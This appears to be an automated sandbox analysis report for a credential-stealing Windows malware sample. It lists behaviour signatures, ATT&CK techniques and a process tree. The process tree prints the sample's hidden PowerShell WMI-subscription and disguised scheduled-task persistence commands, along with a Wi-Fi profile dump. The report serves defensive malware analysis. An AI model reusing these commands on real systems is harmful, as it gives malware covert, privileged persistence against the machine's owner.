Overview

overview

10

Static

static

10

2026-07-17...lc.exe

windows10-2004-x64

9

2026-07-17...lc.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    150s
  • max time network
    138s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/07/2026, 18:11

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-17_e2048593d3998560158858848fa70c2c_icedid_luca-stealer_njrat_stealc.exe
  • Size 1.5MB
  • Sample260717-wsr4psdv2x
  • SHA256 8021c65d95ca41db67cd1cfb6109370f745cd29b6a031120df0cc1409fc69d23
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
discoveryexecutionpersistenceprivilege_escalationspywarestealer

Malware Config

Signatures

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

    execution
  • Drops startup file 4 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Modifies registry class 6 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-17_e2048593d3998560158858848fa70c2c_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-17_e2048593d3998560158858848fa70c2c_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2780
    • C:\Windows\System32\netsh.exe
      C:\Windows\System32\netsh.exe wlan show profiles
      2⤵
      • Event Triggered Execution: Netsh Helper DLL
      • System Network Configuration Discovery: Wi-Fi Discovery
      PID:1868
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe
      2⤵
        PID:4420
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /tn "WindowsUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-17_e2048593d3998560158858848fa70c2c_icedid_luca-stealer_njrat_stealc.exe" /sc minute /mo 60 /rl HIGHEST
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5720
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /tn "WindowsUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-17_e2048593d3998560158858848fa70c2c_icedid_luca-stealer_njrat_stealc.exe" /sc minute /mo 60 /rl HIGHEST
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4312
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /c powershell -NoP -NonI -W Hidden -Command "$f=([wmiclass]'\\.\root\subscription:__EventFilter').CreateInstance();$f.Name='WindowsUpdate';$f.EventNameSpace='root\cimv2';$f.QueryLanguage='WQL';$f.Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ''Win32_PerfFormattedData_PerfOS_System''';$f.Put();$c=([wmiclass]'\\.\root\subscription:CommandLineEventConsumer').CreateInstance();$c.Name='WindowsUpdateConsumer';$c.CommandLineTemplate='"C:\Users\Admin\AppData\Local\Temp\2026-07-17_e2048593d3998560158858848fa70c2c_icedid_luca-stealer_njrat_stealc.exe"';$c.Put();$b=([wmiclass]'\\.\root\subscription:__FilterToConsumerBinding').CreateInstance();$b.Filter=$f;$b.Consumer=$c;$b.Put()"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4848
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Command =
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4100
    • C:\Users\Admin\AppData\Local\Temp\2026-07-17_e2048593d3998560158858848fa70c2c_icedid_luca-stealer_njrat_stealc.exe
      C:\Users\Admin\AppData\Local\Temp\2026-07-17_e2048593d3998560158858848fa70c2c_icedid_luca-stealer_njrat_stealc.exe
      1⤵
      • Drops startup file
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1044
      • C:\Windows\System32\netsh.exe
        C:\Windows\System32\netsh.exe wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:4552
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe
        2⤵
          PID:3720
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /tn "WindowsUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-17_e2048593d3998560158858848fa70c2c_icedid_luca-stealer_njrat_stealc.exe" /sc minute /mo 60 /rl HIGHEST
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3844
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /tn "WindowsUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-17_e2048593d3998560158858848fa70c2c_icedid_luca-stealer_njrat_stealc.exe" /sc minute /mo 60 /rl HIGHEST
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2708
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /c powershell -NoP -NonI -W Hidden -Command "$f=([wmiclass]'\\.\root\subscription:__EventFilter').CreateInstance();$f.Name='WindowsUpdate';$f.EventNameSpace='root\cimv2';$f.QueryLanguage='WQL';$f.Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ''Win32_PerfFormattedData_PerfOS_System''';$f.Put();$c=([wmiclass]'\\.\root\subscription:CommandLineEventConsumer').CreateInstance();$c.Name='WindowsUpdateConsumer';$c.CommandLineTemplate='"C:\Users\Admin\AppData\Local\Temp\2026-07-17_e2048593d3998560158858848fa70c2c_icedid_luca-stealer_njrat_stealc.exe"';$c.Put();$b=([wmiclass]'\\.\root\subscription:__FilterToConsumerBinding').CreateInstance();$b.Filter=$f;$b.Consumer=$c;$b.Put()"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3424
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Command =
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5824

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            2
            T1059

            PowerShell

            1
            T1059.001

            Windows Command Shell

            1
            T1059.003

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Persistence

            Boot or Logon Autostart Execution

            1
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Event Triggered Execution

            2
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Netsh Helper DLL

            1
            T1546.007

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Privilege Escalation

            Boot or Logon Autostart Execution

            1
            T1547

            Registry Run Keys / Startup Folder

            1
            T1547.001

            Event Triggered Execution

            2
            T1546

            Component Object Model Hijacking

            1
            T1546.015

            Netsh Helper DLL

            1
            T1546.007

            Scheduled Task/Job

            1
            T1053

            Scheduled Task

            1
            T1053.005

            Defense Evasion

            Modify Registry

            1
            T1112

            Credential Access

            Credentials from Password Stores

            1
            T1555

            Credentials from Web Browsers

            1
            T1555.003

            Unsecured Credentials

            2
            T1552

            Credentials In Files

            2
            T1552.001

            Discovery

            Query Registry

            2
            T1012

            System Information Discovery

            1
            T1082

            System Network Configuration Discovery

            1
            T1016

            Wi-Fi Discovery

            1
            T1016.002

            Lateral Movement

            Collection

            Data from Local System

            2
            T1005

            Command and Control

            Exfiltration

            Impact

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 948B
            • SHA256 12da3af07b18fbd08a83a803f22ebc70caf89cc1ba620d3cc781f30fad5671d5
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 836B
            • SHA256 73b705b560b2d9823ca1cc5b265cf1eec8e2c4a27920989c80bd4c22daa944c6
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_rwdx1yye.01x.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rwdx1yye.01x.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            winsvc.dat
            • Path C:\Users\Admin\AppData\Local\Temp\winsvc.dat
            • Size 3KB
            • SHA256 ce62e1784212a93650cae9a1ece478a44c704ad4847a2b00d88b48d0e027c039
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/4100-12-0x000001B7B8BC0000-0x000001B7B8C72000-memory.dmp
            Download

            memory/4100-13-0x000001B7B8C80000-0x000001B7B8C8A000-memory.dmp
            Download

            memory/4100-14-0x000001B7B8CB0000-0x000001B7B8CCE000-memory.dmp
            Download

            memory/4100-15-0x000001B7B8C90000-0x000001B7B8C9A000-memory.dmp
            Download

            memory/4100-16-0x000001B7B8CF0000-0x000001B7B8D0C000-memory.dmp
            Download

            memory/4100-17-0x000001B7B8CA0000-0x000001B7B8CA8000-memory.dmp
            Download

            memory/4100-18-0x000001B7B8CD0000-0x000001B7B8CD6000-memory.dmp
            Download

            memory/4100-19-0x000001B7B8CE0000-0x000001B7B8CEA000-memory.dmp
            Download

            memory/4100-11-0x000001B7B8BA0000-0x000001B7B8BBE000-memory.dmp
            Download

            memory/4420-1-0x0000000140000000-0x000000014017D000-memory.dmp
            Download

            memory/4848-6-0x00000262779E0000-0x0000026277A02000-memory.dmp
            Download

            memory/5824-36-0x0000026FD5470000-0x0000026FD5522000-memory.dmp
            Download